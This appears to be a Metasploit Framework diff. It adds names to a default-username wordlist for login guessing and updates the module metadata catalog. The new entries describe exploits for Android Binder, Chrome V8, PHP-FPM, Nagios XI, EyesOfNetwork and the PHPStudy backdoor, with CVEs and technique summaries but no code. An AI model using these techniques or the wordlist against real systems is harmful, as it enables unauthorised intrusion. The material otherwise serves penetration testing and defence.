||||
anon
|
||||
_apt
|
||||
arpwatch
|
||||
auditor
|
||||
avahi
|
||||
avahi-autoipd
|
||||
backup
|
||||
bbs
|
||||
beef-xss
|
||||
bin
|
||||
bitnami
|
||||
checkfs
|
||||
checkfsys
|
||||
checksys
|
||||
chronos
|
||||
chrony
|
||||
cmwlogin
|
||||
cockpit-ws
|
||||
colord
|
||||
couchdb
|
||||
cups-pk-helper
|
||||
daemon
|
||||
dbadmin
|
||||
dbus
|
||||
Debian-exim
|
||||
Debian-snmp
|
||||
demo
|
||||
demos
|
||||
diag
|
||||
distccd
|
||||
dni
|
||||
dnsmasq
|
||||
dradis
|
||||
EZsetup
|
||||
fal
|
||||
fax
|
||||
ftp
|
||||
games
|
||||
gdm
|
||||
geoclue
|
||||
gnats
|
||||
gnome-initial-setup
|
||||
gopher
|
||||
gropher
|
||||
guest
|
||||
haldaemon
|
||||
halt
|
||||
hplip
|
||||
inetsim
|
||||
informix
|
||||
install
|
||||
iodine
|
||||
irc
|
||||
jet
|
||||
karaf
|
||||
kernoops
|
||||
king-phisher
|
||||
landscape
|
||||
libstoragemgmt
|
||||
libuuid
|
||||
lightdm
|
||||
list
|
||||
listen
|
||||
lp
|
||||
lpadm
|
||||
lpadmin
|
||||
lxd
|
||||
lynx
|
||||
mail
|
||||
man
|
||||
me
|
||||
messagebus
|
||||
miredo
|
||||
mountfs
|
||||
mountfsys
|
||||
mountsys
|
||||
mysql
|
||||
news
|
||||
noaccess
|
||||
nobody
|
||||
nobody4
|
||||
ntp
|
||||
nuucp
|
||||
nxautomation
|
||||
nxpgsql
|
||||
omi
|
||||
omsagent
|
||||
operator
|
||||
oracle
|
||||
OutOfBox
|
||||
pi
|
||||
polkitd
|
||||
pollinate
|
||||
popr
|
||||
postfix
|
||||
postgres
|
||||
postmaster
|
||||
printer
|
||||
proxy
|
||||
pulse
|
||||
redsocks
|
||||
rfindd
|
||||
rje
|
||||
root
|
||||
ROOT
|
||||
rooty
|
||||
rpc
|
||||
rpcuser
|
||||
rtkit
|
||||
rwhod
|
||||
saned
|
||||
service
|
||||
setroubleshoot
|
||||
setup
|
||||
sgiweb
|
||||
shutdown
|
||||
sigver
|
||||
speech-dispatcher
|
||||
sshd
|
||||
sslh
|
||||
sssd
|
||||
stunnel4
|
||||
sym
|
||||
symop
|
||||
sync
|
||||
@@ -92,22 +135,34 @@ sysadmin
|
||||
sysbin
|
||||
syslog
|
||||
system_admin
|
||||
systemd-bus-proxy
|
||||
systemd-coredump
|
||||
systemd-network
|
||||
systemd-resolve
|
||||
systemd-timesync
|
||||
tcpdump
|
||||
trouble
|
||||
tss
|
||||
udadmin
|
||||
ultra
|
||||
umountfs
|
||||
umountfsys
|
||||
umountsys
|
||||
unix
|
||||
unscd
|
||||
us_admin
|
||||
usbmux
|
||||
user
|
||||
uucp
|
||||
uucpadm
|
||||
uuidd
|
||||
vagrant
|
||||
varnish
|
||||
web
|
||||
webmaster
|
||||
whoopsie
|
||||
www
|
||||
www-data
|
||||
xpdb
|
||||
xpopr
|
||||
zabbix
|
||||
vagrant
|
||||
|
||||
+793
-128
@@ -7946,7 +7946,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-03-04 19:25:56 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/auxiliary/admin/wemo/crockpot.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/wemo/crockpot",
|
||||
@@ -8788,7 +8788,7 @@
|
||||
],
|
||||
"description": "This module modifies a .docx file that will, upon opening, submit stored\n netNTLM credentials to a remote host. It can also create an empty docx file. If\n emailed the receiver needs to put the document in editing mode before the remote\n server will be contacted. Preview and read-only mode do not work. Verified to work\n with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
|
||||
"references": [
|
||||
"URL-http://jedicorp.com/?p=534"
|
||||
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -8800,7 +8800,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-24 18:17:06 +0000",
|
||||
"path": "/modules/auxiliary/docx/word_unc_injector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "docx/word_unc_injector",
|
||||
@@ -11331,7 +11331,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-03-23 14:55:18 +0000",
|
||||
"mod_time": "2020-02-25 19:59:27 +0000",
|
||||
"path": "/modules/auxiliary/dos/smb/smb_loris.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/smb/smb_loris",
|
||||
@@ -15764,7 +15764,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module checks for the public source IP address of the current\n route to the RHOST by querying the public web application at ifconfig.me.\n It should be noted this module will register activity on ifconfig.me,\n which is not affiliated with Metasploit.",
|
||||
"references": [
|
||||
@@ -15789,7 +15789,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/auxiliary/gather/external_ip.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/external_ip",
|
||||
@@ -28133,7 +28133,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-23 13:16:41 +0000",
|
||||
"mod_time": "2020-02-25 10:14:02 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/owa_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/owa_login",
|
||||
@@ -35349,7 +35349,7 @@
|
||||
"Patrik Karlsson <patrik@cqure.net>",
|
||||
"todb <todb@metasploit.com>"
|
||||
],
|
||||
"description": "This module attempts to authenticate against an Oracle RDBMS\n instance using username and password combinations indicated\n by the USER_FILE, PASS_FILE, and USERPASS_FILE options.",
|
||||
"description": "This module attempts to authenticate against an Oracle RDBMS\n instance using username and password combinations indicated\n by the USER_FILE, PASS_FILE, and USERPASS_FILE options.\n\n Due to a bug in nmap versions 6.50-7.80 may not work.",
|
||||
"references": [
|
||||
"URL-http://www.oracle.com/us/products/database/index.html",
|
||||
"CVE-1999-0502",
|
||||
@@ -35365,7 +35365,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-10-05 14:13:38 +0000",
|
||||
"mod_time": "2020-02-21 08:41:42 +0000",
|
||||
"path": "/modules/auxiliary/scanner/oracle/oracle_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/oracle/oracle_login",
|
||||
@@ -36694,7 +36694,7 @@
|
||||
"zerosum0x0",
|
||||
"Tom Sellers"
|
||||
],
|
||||
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
|
||||
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
|
||||
"references": [
|
||||
"CVE-2019-0708",
|
||||
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708",
|
||||
@@ -36710,7 +36710,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-11-11 17:33:10 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/rdp/cve_2019_0708_bluekeep",
|
||||
@@ -39694,7 +39694,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-22 13:00:09 +0000",
|
||||
"mod_time": "2020-02-26 12:17:59 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/pipe_auditor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/pipe_auditor",
|
||||
@@ -39974,7 +39974,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-03-05 03:38:51 +0000",
|
||||
"mod_time": "2020-02-13 11:56:12 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumusers",
|
||||
@@ -40056,7 +40056,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-06-27 17:06:32 +0000",
|
||||
"mod_time": "2020-03-02 11:50:19 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_login",
|
||||
@@ -49215,6 +49215,52 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_android/local/binder_uaf": {
|
||||
"name": "Android Binder Use-After-Free Exploit",
|
||||
"fullname": "exploit/android/local/binder_uaf",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-09-26",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jann Horn",
|
||||
"Maddie Stone",
|
||||
"grant-h",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits CVE-2019-2215, which is a use-after-free in Binder in the\n Android kernel. The bug is a local privilege escalation vulnerability that\n allows for a full compromise of a vulnerable device. If chained with a browser\n renderer exploit, this bug could fully compromise a device through a malicious\n website.\n The freed memory is replaced with an iovec structure in order to leak a pointer\n to the task_struct. Finally the bug is triggered again in order to overwrite\n the addr_limit, making all memory (including kernel memory) accessible as part\n of the user-space memory range in our process and allowing arbitrary reading\n and writing of kernel memory.",
|
||||
"references": [
|
||||
"CVE-2019-2215",
|
||||
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1942",
|
||||
"URL-https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html",
|
||||
"URL-https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/",
|
||||
"URL-https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c"
|
||||
],
|
||||
"platform": "Android,Linux",
|
||||
"arch": "aarch64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2020-02-29 11:22:59 +0000",
|
||||
"path": "/modules/exploits/android/local/binder_uaf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/local/binder_uaf",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_android/local/futex_requeue": {
|
||||
"name": "Android 'Towelroot' Futex Requeue Kernel Exploit",
|
||||
"fullname": "exploit/android/local/futex_requeue",
|
||||
@@ -53345,6 +53391,60 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/eyesofnetwork_autodiscovery_rce": {
|
||||
"name": "EyesOfNetwork AutoDiscovery Target Command Execution",
|
||||
"fullname": "exploit/linux/http/eyesofnetwork_autodiscovery_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-02-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Clément Billac",
|
||||
"bcoles <bcoles@gmail.com>",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3\n and prior in order to execute arbitrary commands as root.\n\n This module takes advantage of a command injection vulnerability in the\n `target` parameter of the AutoDiscovery functionality within the EON web\n interface in order to write an Nmap NSE script containing the payload to\n disk. It then starts an Nmap scan to activate the payload. This results in\n privilege escalation because the`apache` user can execute Nmap as root.\n\n Valid credentials for a user with administrative privileges are required.\n However, this module can bypass authentication via two methods, i.e. by\n generating an API access token based on a hardcoded key, and via SQLI.\n This module has been successfully tested on EyesOfNetwork 5.3 with API\n version 2.4.2.",
|
||||
"references": [
|
||||
"CVE-2020-8654",
|
||||
"CVE-2020-8655",
|
||||
"CVE-2020-8656",
|
||||
"CVE-2020-8657",
|
||||
"EDB-48025"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2020-03-02 15:10:46 +0000",
|
||||
"path": "/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/eyesofnetwork_autodiscovery_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/f5_icall_cmd": {
|
||||
"name": "F5 iControl iCall::Script Root Command Execution",
|
||||
"fullname": "exploit/linux/http/f5_icall_cmd",
|
||||
@@ -54025,7 +54125,7 @@
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2019-06-24 13:38:14 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/hp_van_sdn_cmd_inject",
|
||||
@@ -55322,6 +55422,58 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_authenticated_rce": {
|
||||
"name": "Nagios XI Authenticated Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/nagios_xi_authenticated_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-07-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jak Gibb",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in Nagios XI before 5.6.6 in\n order to execute arbitrary commands as root.\n\n The module uploads a malicious plugin to the Nagios XI server and then\n executes this plugin by issuing an HTTP GET request to download a\n system profile from the server. For all supported targets except Linux\n (cmd), the module uses a command stager to write the exploit to the\n target via the malicious plugin. This may not work if Nagios XI is\n running in a restricted Unix environment, so in that case the target\n must be set to Linux (cmd). The module then writes the payload to the\n malicious plugin while avoiding commands that may not be supported.\n\n Valid credentials for a user with administrative privileges are\n required. This module was successfully tested on Nagios XI 5.6.5\n running on CentOS 7. The module may behave differently against older\n versions of Nagios XI. See the documentation for more information.",
|
||||
"references": [
|
||||
"CVE-2019-15949",
|
||||
"URL-https://github.com/jakgibb/nagiosxi-root-rce-exploit"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux (x86)",
|
||||
"Linux (x64)",
|
||||
"Linux (cmd)"
|
||||
],
|
||||
"mod_time": "2020-03-09 11:56:15 +0000",
|
||||
"path": "/modules/exploits/linux/http/nagios_xi_authenticated_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/nagios_xi_authenticated_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_chained_rce": {
|
||||
"name": "Nagios XI Chained Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/nagios_xi_chained_rce",
|
||||
@@ -58728,7 +58880,7 @@
|
||||
"Automatic (Unix In-Memory)",
|
||||
"Automatic (Linux Dropper)"
|
||||
],
|
||||
"mod_time": "2020-01-16 14:46:00 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/linux/http/webmin_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/webmin_backdoor",
|
||||
@@ -59084,7 +59236,7 @@
|
||||
"targets": [
|
||||
"Automatic Targeting"
|
||||
],
|
||||
"mod_time": "2019-01-10 19:19:14 +0000",
|
||||
"mod_time": "2020-02-26 14:53:20 +0000",
|
||||
"path": "/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zenoss_showdaemonxmlconfig_exec",
|
||||
@@ -60103,7 +60255,7 @@
|
||||
"Marco Ivaldi",
|
||||
"Guillaume André"
|
||||
],
|
||||
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
|
||||
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
|
||||
"references": [
|
||||
"CVE-2019-10149",
|
||||
"EDB-46996",
|
||||
@@ -60121,7 +60273,7 @@
|
||||
"targets": [
|
||||
"Exim 4.87 - 4.91"
|
||||
],
|
||||
"mod_time": "2020-02-05 19:13:19 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/exim4_deliver_message_priv_esc",
|
||||
@@ -60788,7 +60940,7 @@
|
||||
"targets": [
|
||||
"Micro Focus (HPE) Data Protector <= 10.40 build 118"
|
||||
],
|
||||
"mod_time": "2019-11-03 00:33:24 +0000",
|
||||
"mod_time": "2020-02-26 10:39:50 +0000",
|
||||
"path": "/modules/exploits/linux/local/omniresolve_suid_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/omniresolve_suid_priv_esc",
|
||||
@@ -64499,7 +64651,7 @@
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2019-04-24 11:39:34 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/upnp/belkin_wemo_upnp_exec",
|
||||
@@ -65118,6 +65270,141 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_array_map": {
|
||||
"name": "Google Chrome 72 and 73 Array.map exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_array_map",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2019-03-07",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"dmxcsnsbh",
|
||||
"István Kurucsai",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits an issue in Chrome 73.0.3683.86 (64 bit).\n The exploit corrupts the length of a float in order to modify the backing store\n of a typed array. The typed array can then be used to read and write arbitrary\n memory. The exploit then uses WebAssembly in order to allocate a region of RWX\n memory, which is then replaced with the payload.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
|
||||
"references": [
|
||||
"CVE-2019-5825",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=941743",
|
||||
"URL-https://github.com/exodusintel/Chromium-941743",
|
||||
"URL-https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/",
|
||||
"URL-https://lordofpwn.kr/cve-2019-5825-v8-exploit/"
|
||||
],
|
||||
"platform": "OSX,Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-02-15 10:37:15 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_array_map.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_array_map",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_jscreate_sideeffect": {
|
||||
"name": "Google Chrome 80 JSCreate side-effect type confusion exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_jscreate_sideeffect",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2020-02-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Clément Lecigne",
|
||||
"István Kurucsai",
|
||||
"Vignesh S Rao",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\n corrupts the length of a float array (float_rel), which can then be used for out\n of bounds read and write on adjacent memory.\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\n which is used for read and writing from absolute memory.\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\n which is then replaced with the payload shellcode.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
|
||||
"references": [
|
||||
"CVE-2020-6418",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1053604",
|
||||
"URL-https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping",
|
||||
"URL-https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Windows 10 - Google Chrome 80.0.3987.87 (64 bit)",
|
||||
"macOS - Google Chrome 80.0.3987.87 (64 bit)"
|
||||
],
|
||||
"mod_time": "2020-03-04 21:23:53 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_jscreate_sideeffect",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_object_create": {
|
||||
"name": "Google Chrome 67, 68 and 69 Object.create exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_object_create",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2018-09-25",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"saelo",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This modules exploits a type confusion in Google Chromes JIT compiler.\n The Object.create operation can be used to cause a type confusion between a\n PropertyArray and a NameDictionary.\n The payload is executed within the rwx region of the sandboxed renderer\n process, so the browser must be run with the --no-sandbox option for the\n payload to work.",
|
||||
"references": [
|
||||
"CVE-2018-17463",
|
||||
"URL-http://www.phrack.org/papers/jit_exploitation.html",
|
||||
"URL-https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce",
|
||||
"URL-https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=888923"
|
||||
],
|
||||
"platform": "OSX,Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-02-15 06:09:55 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_object_create.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_object_create",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/firefox_escape_retval": {
|
||||
"name": "Firefox 3.5 escape() Return Value Memory Corruption",
|
||||
"fullname": "exploit/multi/browser/firefox_escape_retval",
|
||||
@@ -70533,7 +70820,7 @@
|
||||
"Unix In-Memory",
|
||||
"Java Dropper"
|
||||
],
|
||||
"mod_time": "2019-05-30 00:06:10 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/multi/http/jenkins_metaprogramming.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/jenkins_metaprogramming",
|
||||
@@ -73141,6 +73428,70 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/php_fpm_rce": {
|
||||
"name": "PHP-FPM Underflow RCE",
|
||||
"fullname": "exploit/multi/http/php_fpm_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2019-10-22",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"neex",
|
||||
"cdelafuente-r7"
|
||||
],
|
||||
"description": "This module exploits an underflow vulnerability in versions 7.1.x\n below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on\n Nginx. Only servers with certains Nginx + PHP-FPM configurations are\n exploitable. This is a port of the original neex's exploit code (see\n refs.). First, it detects the correct parameters (Query String Length\n and custom header length) needed to trigger code execution. This step\n determines if the target is actually vulnerable (Check method). Then,\n the exploit sets a series of PHP INI directives to create a file\n locally on the target, which enables code execution through a query\n string parameter. This is used to execute normal payload stagers.\n Finally, this module does some cleanup by killing local PHP-FPM\n workers (those are spawned automatically once killed) and removing\n the created local file.",
|
||||
"references": [
|
||||
"CVE-2019-11043",
|
||||
"EDB-47553",
|
||||
"URL-https://github.com/neex/phuip-fpizdam",
|
||||
"URL-https://bugs.php.net/bug.php?id=78599",
|
||||
"URL-https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHP",
|
||||
"Shell Command"
|
||||
],
|
||||
"mod_time": "2020-03-06 17:38:37 +0000",
|
||||
"path": "/modules/exploits/multi/http/php_fpm_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/php_fpm_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-restarts"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/php_utility_belt_rce": {
|
||||
"name": "PHP Utility Belt Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/php_utility_belt_rce",
|
||||
@@ -73732,6 +74083,55 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/phpstudy_backdoor_rce": {
|
||||
"name": "PHPStudy Backdoor Remote Code execution",
|
||||
"fullname": "exploit/multi/http/phpstudy_backdoor_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-09-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Dimensional",
|
||||
"Airevan"
|
||||
],
|
||||
"description": "This module can detect and exploit the backdoor of PHPStudy.",
|
||||
"references": [
|
||||
"URL-https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHPStudy 2016-2018"
|
||||
],
|
||||
"mod_time": "2020-03-05 10:24:22 +0000",
|
||||
"path": "/modules/exploits/multi/http/phpstudy_backdoor_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/phpstudy_backdoor_rce",
|
||||
